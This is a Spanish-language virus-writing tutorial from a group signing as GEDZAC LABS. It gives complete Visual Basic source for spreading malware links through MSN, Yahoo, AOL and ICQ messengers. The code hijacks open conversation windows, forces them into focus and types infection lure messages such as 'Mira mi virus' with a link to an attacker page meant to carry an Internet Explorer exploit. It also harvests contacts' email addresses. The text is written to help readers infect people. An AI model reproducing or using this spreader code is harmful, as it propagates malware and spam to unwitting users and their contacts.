    Spam en Programas de Mensageria Instantanea:
    ---------------------------------------------

    Valido: VB 5 y 6
    Probado:
     -Msn Messenger 6.1 y 6.2 (Español)
     -Yahoo Messenger 5.6 (Español) y 6.0 (Ingles, Español)
     -Aol Messenger 5.1 (Español)
     -Icq Lite 4.0 e 4.14
    -----------------------------

    *Este Articulo es una actualización del publicado en www.gedzac.tk, seccion
    articulos, para corregir algunos errores y añadirle algunas mejoras

    Actualmente mucha gente usa los programas de mensageria instantanea
    siendo algunos de los más conocidos el Msn Messenger (msn),
    el Yahoo Messenger (yms), el Aol Messenger (aim), el Icq, y el Trillian

    Una forma de infectar a los usuarios de estos programas seria enviar
    un spam invitandolos a visitar una page, que previamente habremos preparado
    con una vulnerabilidad de internet explorer para que se ejecute el virus
    apenas sea vista(Usar el bug que más les paresca)

    Una forma de hacer eso en el msn seria usar las funciones del msn,
    ir al menú proyecto de VB y entrar a Referencias y marcar
    Messenger API Type Library, luego usamos este code:

    Form1----------------------------------------------------------------------

    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Const VK_RETURN = &HD
    Private Const WM_CHAR = &H102
    Private Const WM_KEYDOWN = &H100
    Private Const WM_KEYUP = &H101

    'Definimos msa como un objeto MessengerAPI.Messenger
    'este es el objeto principal de las apis del msn
    Private WithEvents msa As MessengerAPI.Messenger

    'Definimos msc como un objeto MessengerAPI.IMessengerContacts
    'lo usamos para acceder a propiedades de los contactos
    Private msc As MessengerAPI.IMessengerContacts

    'Definimos iMsn como un objeto IMessengerConversationWnd
    'lo usamos para acceder a propiedades de las ventanas de conversacion
    Dim iMsn As IMessengerConversationWnd

    Private Sub Form_Load()
    On Error Resume Next

    'Creamos el obj MessengerAPI.Messenger
    Set msa = New MessengerAPI.Messenger

    'Si no lo pudimos crear o no esta conectado (Status = 1) entonces salimos
    If (msa Is Nothing) Or (msa.MyStatus = 1) Then Exit Sub

    Asignamos a msc los contactos
    Set msc = msa.MyContacts

    'Empezamos a listar los contactos
    For x = 1 To msa.MyContacts.Count - 1

    'si el contacto esta conectado (Status <> 1)
    If msc.Item(x).Status <> 1 Then

    'Abrimos una ventana de conversacion a ese contacto usando su nombre
    'de inicio de secion o SigninName(algo importante)
    Set iMsn = msa.InstantMessage(msc.Item(x).SigninName)

    'Luego pasamos el handle de la ventana de conversacion a SpamMsn
    SpamMsn (iMsn.hwnd)

    End If

    'Esto es importante, aunque no tiene que ver con lo que estamos tratando
    'el nombre de inicio de secion del contacto es su direccion de Email
    'Osea que asi tambien podemos obtenerla
    MsgBox msc.Item(x).SigninName

    Next

    End Sub

    Private Sub SpamMsn(ByVal mHwnd)
    On Error Resume Next
    Dim l As Long, spam As String

    'pos el mensage que enviaremos al contacto
    spam = "Infectate en http://www.myserver.com"

    'Usamos FindWindowEx para buscar la clase "DirectUIHWND" dentro de la
    'ventana de conversacion y obtener el handle que queremos osea el de la
    'parte de la ventana donde se digita el texto a enviar
    l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString)

    'luego lo digitamos con postmessage
        For i = 1 To Len(spam)
            Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
        Next i

    'simulamos un enter con postmessage para enviar el spam
    Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&)
    Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&)

    End Sub

    Form1----------------------------------------------------------------------

    Pero esto tiene sus desventajas, ya que solo funcionara en win9x y winME
    (en 1 xp de 4 en los que se probo, funciono, pero teoricamente no deberia)
    ademas en winxp no sale en el menu referencias las referencia que deberiamos
    usar.

    Pero para obtener los mails de los contactos en los 9x y los Me, si podria
    servir iniciando un timer(ver más abajo) o un bucle o algo y esperar a que se
    conecte al msn el user.

    Un punto a favor de esto podria ser que el spam se enviara a todos los
    contactos conectados asi el user no este hablando con ellos, pero se
    abririan ventanas de conversacion, podria resultar sospechoso.

    Habran notado que el code anterior esta explicado muy ligeramente, ya que
    no se explica el uso de las apis ni de las constantes, eso porque lo que
    interesaba explicar en esa parte, era las funciones del msn.

    A continuacion se explicara mas detalladamente apis y eso, en el metodo
    para enviar spam del que en verdad trata este articulo.

    Usando Las clases de las ventanas:
    -----------------------------------
    Primero definiremos que es un handle y una clase:

     -Handle: es un identificador numerico diferente que tiene cada ventana
     que este abierta, minimizada, oculta o como sea, tendra un handle

     -Clase: es un identificador o palabra que tiene cada tipo de ventana
     y que la diferencia de otros tipos

     -Ventana Hija(ChildWindow): una ventana, por ejemplo la de conversacion del
     msn, tiene diferentes partes, la parte donde escribimos el texto, donde lo
     vemos, las ventanitas que muestran las imagenes para mostrar, etc, todas
     esas son childwindows y tienen su propio handle y clase.

    Ejemplo:
    -------
    Como ven hay 2 ventanas del notepad y una de conversacion del msn
    todas tienen un handle diferente, ya que es un identificador unico
    el texto del titulo de la ventana es diferente cosa que no nos importa
    la clase de las ventanas del block de notas, sera siempre Notepad
    sin importar que archivo estemos abriendo, asi como la de las de conversaci
    on del msn sera siempre IMWindowClass no importa con quien estemos hablando.

        Handle        Texto de la ventana           Clase

         1290      Sin Titulo-Block de Notas      "Notepad"
         2089       MiTexto-Block de Notas        "Notepad"
         1456       MiConversacion-Msn            "IMWindowClass"
    ---------------------------------------------------------------------------

    Entonces lo que haremos sera listar todas las ventanas que haya y obtener su
    clase, luego comparamos con el nombre de las clases de ventanas de
    conversacion de programas de mensageria, si coinciden entonces obtenemos
    el handle y lo usamos para buscar dentro de esa ventana la clase de la
    ventana hija o childwindow que necesitamos(en este caso la parte donde
    escribimos el texto), y obtener el handle de la ChildWindow
    Una vez que tenemos el handle, lo usaremos para enviar el spam a la ventana
    de conversacion y enviarlo al contacto.

    Un programa para visualizar clases, handles, childwindows, lo podemos
    descargar de:
    http://vbnet.mvps.org/files/demos/enumwindowsdemo.zip

    Ahora iniciamos un nuevo proyecto en vb y agregamos un modulo, ademas
    del form1

    Form1----------------------------------------------------------------------

    Private Sub Form_Load()
    End Sub

    'Un timer para listar las ventanas cada cierto tiempo, ponemos su propiedad
    'interval a diez mil desde la ventana de propiedades
    Private Sub Timer1_Timer()

    'Apagamos el timer
    Timer1.Enabled = False

    'Definimos x como var integer statica
    'Normalmente una var que definimos con Dim dentro de un sub o function
    'solo vive hasta que ese sub o function termine, una var statica solo
    'morira o solo perdera sus valores cuando termine el programa
    Static x As Integer

    'si x mayor que 60
    If x > 60 Then

    'establecemos x a 0 de nuevo
    x = 0

    'declaramos l como boolean, ya que EnumWindows nos devolvera un valor
    'booleano(False ó True , 0 ó 1)
    Dim l As Boolean

    'Llamamos a la Api EnumWindows para listar las ventanas,
    'como primer argumento pasamos el nombre de la funcion a la que debe llamar
    'por cada ventana encontrada, usando el operador AddressOf(disponible desde
    'vb5) la funcion a la que llamaremos debe residir en un modulo, como segundo
    'argumento pasamos 0
    'EnumWindows llamara por cada ventana encontrada a la funcion indicada en
    'este caso EnumWin y la funcion indicada debe tener una estructura:
    '  Public Function EnumWin(ByVal hWnd As Long, lParam As Long) As Boolean
    'donde hwnd es el handle de la ventana y lParam el segundo argumento que pa
    'samos a EnumWindows
    l = EnumWindows(AddressOf EnumWin, ByVal 0&)

    'si x menor que 60
    Else
    'entonces sumamos 1 a x
    x = x + 1
    End If

    'Encendemos el timer
    Timer1.Enabled = True
    End Sub

    Form1----------------------------------------------------------------------

    Ahora en el modulo:

    Modulo1--------------------------------------------------------------------

    'Apis y Constantes que usaremos
    Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
    Public Declare Function EnumWindows Lib "user32" (ByVal lpfn As Long, lParam As Any) As Boolean
    Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare Function GetForegroundWindow Lib "user32" () As Long
    Private Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Private Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
    Private Declare Function AttachThreadInput Lib "user32" (ByVal idAttach As Long, ByVal idAttachTo As Long, ByVal fAttach As Long) As Long
    Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
    Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

    Private Const SW_RESTORE = 9
    Private Const VK_CONTROL = &H11
    Private Const VK_RETURN = &HD
    Private Const WM_CHAR = &H102
    Private Const WM_SYSCHAR = &H106
    Private Const WM_KEYDOWN = &H100
    Private Const WM_KEYUP = &H101

    'Funcion a la que llama EnumWindows
    Public Function EnumWin(ByVal hWnd As Long, lParam As Long) As Boolean
    On Error Resume Next
    Dim l As Long, wnc As String

    'DoEvents para darle tiempo a win, para procesar otras cosas
    DoEvents

    'wnc = a una cadena de 256 espacios
    wnc = Space$(256)

    'Usamos la Api GetClassName para obtener la clase de la ventana, 1° argumen
    'to el handle de la ventana de la cual queremos saber su clase, 2° argumento
    'una cadena de 256 espacios en la cual la api devolvera el nombre de la
    'clase, 3° argumento la longitud de wnc (256), la api tambien devuelve
    'un tipo long en l, que es igual a la longitud del nombre de la clase
    l = GetClassName(ByVal hWnd, wnc, Len(wnc))

    'Ahora usamos l(la longitud del nombre de la clase), para tomar solo los ca
    'racteres necesarios a la izquierda y desacernos de lo que sobre de los
    '256 espacios
    wnc = Left$(wnc, l)

    'si el nombre de la clase contiene a "imwindowclass" entonces encontramos
    'una ventana de conversacion de msn
    If InStr(LCase(wnc), "imwindowclass") <> 0 Then

    'pasamos el handle de la ventana al sub SpamMsn
    SpamMsn (hWnd)
    End If

    'si el nombre de la clase contiene a "imclass" entonces encontramos
    'una ventana de conversacion de yahoo messenger
    If InStr(LCase(wnc), "imclass") <> 0 Then

    'pasamos el handle de la ventana al sub SpamYms
    SpamYms (hWnd)
    End If

    'si el nombre de la clase contiene a "aim_imessage" entonces encontramos
    'una ventana de conversacion de aol messenger
    If InStr(LCase(wnc), "aim_imessage") <> 0 Then

    'Declaramos las variables aw, Whs y Whd como tipo entero largo
    Dim aw As Long, Whs As Long, Whd As Long

    'la api GetForegroundWindow devuelve el handle de la ventana que este en
    'primer plano o que tenga el foco, lo almacenamos en aw
    aw = GetForegroundWindow

    'Aqui usamos ShowWindow para hacer visible la ventana de conversacion
    '(osea maximizarla o ponerla en primer plano), ahora si queremos
    'maximizar porque no usamos SW_MAXIMIZE, es porque para enviar el spam
    'nesecitamos que el foco del teclado este en la parte de la ventana en que
    'se digita el texto a enviar(caja de texto) y si usamos SW_MAXIMIZE
    'perdemos el foco en esa parte, entonces usamos SW_RESTORE que restaura la
    'ventana a su posicion anterior, y como el user seguro la estuvo usando y el
    'foco lo tiene en la caja de texto, pos nos pone la ventana con el foco en
    'donde lo necesitamos, recordar que hWnd es el handle de la ventana de
    'conversacion
    Call ShowWindow(hWnd, SW_RESTORE)

    'Si la ventana de conversacion no esta en primer plano, usamos
    'api SetForegroundWindow para situarla en primer plano, a esta funcion
    'le pasamos el handle de la ventana que queremos tener en primer plano
    'en este caso la ventana de conversacion.
    'Esto funciona bien en los 9x, pero en los WinXp, 2000, el sistema
    'no permite poner una ventana en primer plano en forma arbitraria
    'sino que lo que pasaria es que win solo haria que la ventana flasheara
    '(osea por ejemplo en una ventana de conversacion de msn, cuando un
    'contacto nos habla la ventana si no la tenemos en primer plano se pone
    'negra en la barra de tareas, pos algo parecido) osea para avisar al user
    'de que vea esa ventana pero no nos la pone en primer plano como
    'nesecitamos
    If (aw <> hWnd) Then

    'Para tenerla en primer plano recurrimos a una treta, primero obtenemos
    'el hilo de la ventana que esta activa con la api GetWindowThreadProcessId
    'y lo guardamos en Wnd, a esta funcion tenemos que pasarle el handle de la
    'ventana que queremos obtener el hilo y un cero en este caso, luego
    'obtenemos igual el hilo de la ventana de conversacion y lo guardamos en
    'Whs
    Whd = GetWindowThreadProcessId(aw, ByVal 0)
    Whs = GetWindowThreadProcessId(hWnd, ByVal 0)

    'Luego usamos la api AttachThreadInput para atachar, anexar, pegar, el hilo
    'de la ventana de conversacion al de la ventana activa, a esta api le
    'pasamos 1° el hilo que vamos a anexar, 2° el hilo al que le vamos a anexar
    'el otro y 3° True o False dependiendo de si queremos anexar o desanexar, en
    'este caso pasamos True para anexar, y ya una vez que window se cree que la
    'ventana de conversacion forma parte de la ventana activa, proseguimos
    Call AttachThreadInput(Whs, Whd, True)

    'iniciamos bucle para colocar en primer plano a la ventana de conversacion
    'con SetForegroundWindow pasandole su handle, y hasta que
    'GetForegroundWindow sea = al handle de la ventana de conversacion osea este
    'en primer plano la ventana de conversacion, no salimos de bucle
    Do
    Call SetForegroundWindow(ByVal hWnd)
    Loop Until GetForegroundWindow = hWnd

    End If

    'Llamamos a la Api EnumChildWindows para
    'listar todas las ventanas hijas de la ventana de conversacion de aol
    'donde 1° argumento es el handle de la ventana de la que queremos listar
    'sus ventanas hijas, 2° argumento la funcion a la que debe llamar por
    'cada ventana hija encontrada, y 3° argumento pasamos 0
    'La funcion a la que se llame debe residir en un modulo y tener la estruc
    'tura:
    ' Public Function EnumChildProc(ByVal chWnd As Long, ByVal lParam As Long) As Long
    'donde chWnd es el handle de la ventana hija, y lParam el 3° argumento pasa
    'do a EnumChildWindows
    Call EnumChildWindows(ByVal hWnd, AddressOf EnumChildProc, ByVal 0&)

    'Dormimos 1 seg.
    Sleep 1000

    'DesAnexamos la ventana de conversacion, de la ventana que estaba activa
    'observese que el tercer parametro es ahora False
    Call AttachThreadInput(Whs, Whd, False)

    'volvemos a establecer la ventana que estaba en primer plano
    Call SetForegroundWindow(aw)

    End If

    'Cuando trate de ver la clase de las ventanas de conversacion de icq, me
    'daba algo de "#32770", entonces eso de que me de un numero me dio
    'un mal presentimiento, ya que podia ser un numero aleatorio o calculado
    'de alguna manera y que en otras pc fuera diferente, entonces preferi
    'tomar el 1° caracter solamente para distinguir(#), que asumo no cambia
    'no se si estoy en lo correcto, pero funciona tambien

    'si el 1° caracter de la clase es #
    If Left$(wnc, 1) = "#" Then

    'pasamos el handle a SpamIcq
    SpamIcq (hWnd)
    End If

    'establecemos que EnumWin regrese un valor True
    EnumWin = True
    End Function

    Private Sub SpamMsn(ByVal mHwnd)
    On Error Resume Next
    Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String
    aw = GetForegroundWindow

    Call ShowWindow(mHwnd, SW_RESTORE)

    If (aw <> mHwnd) Then

    Whd = GetWindowThreadProcessId(aw, ByVal 0)
    Whs = GetWindowThreadProcessId(mHwnd, ByVal 0)

    Call AttachThreadInput(Whs, Whd, True)

    Do
    Call SetForegroundWindow(ByVal mHwnd)
    Loop Until GetForegroundWindow = mHwnd

    End If

    'el spam que enviara a la conversacion
    Spam = "Mira mi virus http://www.myserver.com"

    'dormimos un segundo con la api sleep cuyo argumento es un tiempo especifica
    'do en milisegundos que nuestra aplicacion estara inactiva (1000/1000 =1seg)
    Sleep 1000

    'Usamos la api FindWindowEx para buscar la clase de la ventana hija que nece
    'sitamos(la parte de la ventana donde se escribe el texto) y obtener su
    'handle, en este caso estamos buscando una ventana hija cuya clase sea
    '"DirectUIHWND"
    '1° argumento handle de la ventana padre donde se buscara la ventana hija
    '2° argumento el numero de orden desde el que se empezara a buscar, si
    'queremos buscar desde la ventana hija que este en la posicion 2, debemos
    'colocar el handle de la ventana hija de posicion 2,colocar 0 para buscar
    'desde la primera
    '3° argumento el nombre de clase que se buscara, si no se quiere buscar por
    'nombre de clase, colocar cadena nula(vbNullString)
    '4° argumento el titulo de la ventana que se buscara, si no se quiere
    'buscar por titulo colocar cadena nula
    'la api devuelve en l un tipo long con el handle si tuvo exito, sino
    'devuelve 0
    l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString)

    'si l=0 no encontramos nada y salimos
    If l = 0 Then Exit Sub

    'hacemos un contador for desde 1 hasta la longitud de spam
        For i = 1 To Len(spam)

    'usamos api PostMessage para colocar el spam en la ventana de conversacion
    'PostMessage se usa para postear un mensage u comando en la cola de mensages
    'de otra ventana, y a diferencia de SendMessage no espera respuesta de la
    'ventana antes de retornar
    '1° argumento el handle de la ventana donde se posteara el msg
    '2° argumento, hay varios que se pueden usar segun el comando o msg que se
    'quiera enviar y se indican por una constante, (mirar en el visor de api de
    'vb la lista de constantes que empiezan con WM_)
    '3° y 4° argumento dependen de la constante que se utilize en el 2° y se
    'usan para pasar valores necesarios para ejecutar el comando o msg
    'por ejemplo si enviamos un comando para cerrar la ventana (WM_CLOSE)
    '3° y 4° seran 0, mientras que si colocamos WM_CHAR estamos indicando que
    'enviaremos un caracter a la ventana y 3° sera el valor ascii del caracter
    'y 4° sera 0
    'Con Asc(Mid(Spam, i, 1)) vamos obteniendo el valor ascii de los caracteres
    'que enviaremos, a medida que avanza el contador for
            Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
        Next

    'Usamos PostMessage para simular un enter, para que finalmente se envie el
    'msg colocado con WM_CHAR
    'WM_KEYDOWN indica que estamos presionando la tecla que se indica en 3° arg
    'que en este caso es VK_RETURN (Enter), 4° arg es 0
    Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&)

    'WM_KEYUP indica que dejamos de presionar la tecla que se indica en 3° arg
    'que es el VK_RETURN (Enter)
    Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&)

    'dormimos 1seg.
    Sleep 1000

    Call AttachThreadInput(Whs, Whd, False)
    Call SetForegroundWindow(aw)
    End Sub

    Private Sub SpamYms(ByVal yHwnd)
    On Error Resume Next
    Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String

    aw = GetForegroundWindow

    Call ShowWindow(yHwnd, SW_RESTORE)

    If (aw <> yHwnd) Then

    Whd = GetWindowThreadProcessId(aw, ByVal 0)
    Whs = GetWindowThreadProcessId(yHwnd, ByVal 0)

    Call AttachThreadInput(Whs, Whd, True)

    Do
    Call SetForegroundWindow(ByVal yHwnd)
    Loop Until GetForegroundWindow = yHwnd

    End If

    spam="Mira http://www.myserver.com"

    Sleep 1000

    'Aqui buscamos la clase que necesitamos para yahoo 6.0 que es "RICHEDIT20a"
    l = FindWindowEx(yHwnd, 0, "RICHEDIT20a", vbNullString)

    'si no encontramos capaz este usando yahoo 5.1 cuya clase es "RICHEDIT"
    If l = 0 Then l = FindWindowEx(yHwnd, 0, "RICHEDIT", vbNullString)

    'si tampoco encontramos, sabe Dios que yahoo estara usando el user, taria
    'bueno ponerle un msgbox "Actualiza tu Yahoo" , pero mejor salimos
    If l = 0 Then Exit Sub

        For i = 1 To Len(spam)
            Call PostMessage(l, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
        Next

    Call PostMessage(l, WM_KEYDOWN, VK_RETURN, 0&)
    Call PostMessage(l, WM_KEYUP, VK_RETURN, 0&)

    Sleep 1000
    Call AttachThreadInput(Whs, Whd, False)
    Call SetForegroundWindow(aw)
    End Sub

    'Esta es la funcion que llama EnumChildWindows, para enviar spam por Aol
    Public Function EnumChildProc(ByVal chWnd As Long, ByVal lParam As Long) As Long
    On Error Resume Next
    Dim l As Long, wnc As String

    DoEvents

    'obtenemos el nombre de la clase
    wnc = Space$(256)
    l = GetClassName(ByVal chWnd, wnc, Len(wnc))
    wnc = Left$(wnc, l)

    'la razon por la cual no usamos FindWindowEx para buscar la clase en esta
    'ocasion es porque no funciona con el Aol, prueben y les dara 0, sospecho
    'que es porque el aol tiene varias ventanas hijas con el mismo nombre de
    'clase

    'si es igual a "ate32class" pasamos el handle a SpamAim
    If LCase(wnc) = "ate32class" Then
    SpamAim (chWnd)
    End If

    'hacemos que EnumChildProc devuelva 1 o true
    EnumChildProc = 1
    End Function

    'aqui es casi lo mismo que en SpamMsn, solo que ya no usamos findwindowex
    'porque la funcion EnumChildProc ya nos pasa el handle de la ventana hija
    'ni nos preocupamos de poner la ventana como activa, porque eso ya se hizo
    'al listar las ventanas en EnumWin
    Private Sub SpamAim(ByVal aHwnd)
    On Error Resume Next
    Dim spam as String
    spam="mira http://www.myserver.com"

    Sleep 1000

        For i = 1 To Len(spam)
            Call PostMessage(aHwnd, WM_CHAR, Asc(Mid(spam, i, 1)), 0)
        Next

    Call PostMessage(aHwnd, WM_KEYDOWN, VK_RETURN, 0&)
    Call PostMessage(aHwnd, WM_KEYUP, VK_RETURN, 0&)
    End Sub

    'Este es pal icq
    Private Sub SpamIcq(iHwnd)

    On Error Resume Next
    Dim l As Long, aw As Long, Whs As Long, Whd As Long, Spam as String

    aw = GetForegroundWindow

    If (aw <> iHwnd) Then

    Whd = GetWindowThreadProcessId(aw, ByVal 0)
    Whs = GetWindowThreadProcessId(iHwnd, ByVal 0)

    Call AttachThreadInput(Whs, Whd, True)

    Do
    Call SetForegroundWindow(ByVal iHwnd)
    Loop Until GetForegroundWindow = iHwnd

    End If

    spam="mira http://www.gedzac.tk"
    Sleep 1000

    'el nombre de clase que tenemos que buscar aqui es "RICHEDIT20a"
    l = FindWindowEx(iHwnd, 0, "RICHEDIT20a", vbNullString)

    If l = 0 Then Exit Sub

    Call ShowWindow(iHwnd, SW_RESTORE)

        For i = 1 To Len(spam(sr))
            Call PostMessage(l, WM_CHAR, Asc(Mid(spam(sr), i, 1)), 0)
        Next

    'En la version de Icq en que probe, para enviar el msg habia que presionar
    'alt+enter, pero no me salia el envio de alt+enter, asi que envio
    'un Control+S ,simulamos que se presiona la tecla control(VK_CONTROL) con
    'WM_KEYDOWN, luego usamos WM_SYSCHAR para enviar 's', se usa WM_SYSCHAR
    'para indicar que no se esta enviando el caracter 's', sino que es una
    'combinacion de sistema(crtl+letra o alt+letra), luego simulamos que dejamos
    'de presionar control con WM_KEYUP
    Call PostMessage(l, WM_KEYDOWN, VK_CONTROL, 0&)
    Call PostMessage(l, WM_SYSCHAR, Asc("s"), 0&)
    Call PostMessage(l, WM_KEYUP, VK_CONTROL, 0&)

    Sleep 1000
    Call AttachThreadInput(Whs, Whd, False)
    Call SetForegroundWindow(aw)
    End Sub

    Modulo1--------------------------------------------------------------------

    (C) Mitosis 3 - GEDZAC LABS